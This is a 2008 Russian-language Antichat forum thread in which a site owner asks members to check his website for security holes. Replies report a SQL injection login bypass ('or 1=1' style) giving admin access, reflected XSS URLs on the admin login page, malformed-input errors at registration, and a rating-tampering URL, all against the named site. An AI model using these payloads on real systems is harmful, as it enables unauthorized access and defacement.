ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Проверка на уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Проверте на надёжность
  #1  
Старый 01.08.2008, 12:08
Аватар для dimankoresh
dimankoresh
Новичок
Регистрация: 31.07.2008
Сообщений: 4
Провел на форуме:
9364

Репутация: 0
По умолчанию Проверте на надёжность

http://concept.ds8.ru

буду благодарен за нахождение дыр в безопастности
 
Ответить с цитированием

  #2  
Старый 01.08.2008, 12:45
Аватар для tor4)
tor4)
Познающий
Регистрация: 27.05.2008
Сообщений: 51
Провел на форуме:
611529

Репутация: 41
По умолчанию

При регистрации.
Логин ' раs '

Вёдоёт

Warning: DOMDocument::loadXML() [domdocument.loadxml]: attributes construct error in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag login line 63 in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76
 
Ответить с цитированием

  #3  
Старый 01.08.2008, 12:56
Аватар для dimankoresh
dimankoresh
Новичок
Регистрация: 31.07.2008
Сообщений: 4
Провел на форуме:
9364

Репутация: 0
По умолчанию

Цитата:
Сообщение от tor4)  
При регистрации.
Логин ' раs '

Вёдоёт

Warning: DOMDocument::loadXML() [domdocument.loadxml]: attributes construct error in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag login line 63 in Entity, line: 63 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76
это тебе что-то не повезло видать. сервак там щас глючит, только что зарегил такого без проблем
 
Ответить с цитированием

  #4  
Старый 01.08.2008, 20:37
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Та же фигня, регался с ником "><hr>

Цитата:
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Unescaped '&lt;' not allowed in attributes values in Entity, line: 119 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: attributes construct error in Entity, line: 119 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Couldn't find end of Start Tag login line 119 in Entity, line: 119 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Opening and ending tag mismatch: hr line 119 and site in Entity, line: 443 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
<br />
<b>Warning</b>: DOMDocument::loadXML() [<a href='domdocument.loadxml'>domdocument.loadxml</a>]: Premature end of data in tag site line 2 in Entity, line: 444 in <b>/www_host/hosts/concept.ds8.ru/core_functions.php</b> on line <b>76</b><br />
 
Ответить с цитированием

  #5  
Старый 01.08.2008, 21:19
Аватар для tor4)
tor4)
Познающий
Регистрация: 27.05.2008
Сообщений: 51
Провел на форуме:
611529

Репутация: 41
По умолчанию

Обращение к бд только при регистрации, что-ли?
 
Ответить с цитированием

  #6  
Старый 01.08.2008, 21:29
Аватар для desTiny
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839

Репутация: 1502


По умолчанию

sql inject в логине:
логин: ' or '1'=1'
пасс: любой

Здрасте, админ)

add:
админка http://concept.ds8.ru/admin
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #7  
Старый 01.08.2008, 21:33
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

XSS
http://concept.ds8.ru/admin/login.php?page="><script>alert()</script>&ide=
http://concept.ds8.ru/admin/login.php?page=&ide="><script>alert()</script>

Последний раз редактировалось BlackSun; 01.08.2008 в 21:50..
 
Ответить с цитированием

  #8  
Старый 01.08.2008, 21:39
Аватар для desTiny
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839

Репутация: 1502


По умолчанию

от имени админа у меня добавляются только пустые комменты
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #9  
Старый 01.08.2008, 21:52
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

http://concept.ds8.ru/erotic
http://concept.ds8.ru/avto

И прочеее

Цитата:
core_functions.php on line 76

Warning: DOMDocument::loadXML() [domdocument.loadxml]: Couldn't find end of Start Tag back line 56 in Entity, line: 56 in /www_host/hosts/concept.ds8.ru/core_functions.php on line 76
 
Ответить с цитированием

  #10  
Старый 01.08.2008, 21:57
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

http://concept.ds8.ru/addvoce.php?story={id рассказа}&b=999999
Итого: рейтинг у рассказа - 999999
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Диски Fujitsu MHZ2 BK/BS: когда надёжность - на первом месте xGOR Новости мира "железа" 0 21.05.2008 21:10
Проверте на Уязвимость!! Партизан Чаты 11 03.09.2005 23:56



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ